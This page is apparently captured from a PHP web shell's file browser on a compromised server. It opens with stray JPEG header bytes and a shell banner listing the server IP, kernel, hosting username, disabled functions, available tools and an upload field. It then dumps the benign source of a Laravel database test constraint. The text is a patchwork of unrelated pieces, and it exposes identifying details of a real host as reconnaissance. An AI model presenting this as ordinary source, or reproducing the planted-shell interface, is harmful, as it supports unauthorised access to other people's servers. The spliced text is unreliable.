ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.147.2.243 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/laravelvue/vendor/laravel/framework/src/Illuminate/Foundation/Testing/Constraints/ |
Upload File : |
<?php namespace Illuminate\Foundation\Testing\Constraints; use Illuminate\Database\Connection; use PHPUnit\Framework\Constraint\Constraint; class HasInDatabase extends Constraint { /** * Number of records that will be shown in the console in case of failure. * * @var int */ protected $show = 3; /** * The database connection. * * @var \Illuminate\Database\Connection */ protected $database; /** * The data that will be used to narrow the search in the database table. * * @var array */ protected $data; /** * Create a new constraint instance. * * @param \Illuminate\Database\Connection $database * @param array $data * @return void */ public function __construct(Connection $database, array $data) { $this->data = $data; $this->database = $database; } /** * Check if the data is found in the given table. * * @param string $table * @return bool */ public function matches($table): bool { return $this->database->table($table)->where($this->data)->count() > 0; } /** * Get the description of the failure. * * @param string $table * @return string */ public function failureDescription($table): string { return sprintf( "a row in the table [%s] matches the attributes %s.\n\n%s", $table, $this->toString(JSON_PRETTY_PRINT), $this->getAdditionalInfo($table) ); } /** * Get additional info about the records found in the database table. * * @param string $table * @return string */ protected function getAdditionalInfo($table) { $results = $this->database->table($table)->get(); if ($results->isEmpty()) { return 'The table is empty'; } $description = 'Found: '.json_encode($results->take($this->show), JSON_PRETTY_PRINT); if ($results->count() > $this->show) { $description .= sprintf(' and %s others', $results->count() - $this->show); } return $description; } /** * Get a string representation of the object. * * @param int $options * @return string */ public function toString($options = 0): string { return json_encode($this->data, $options); } }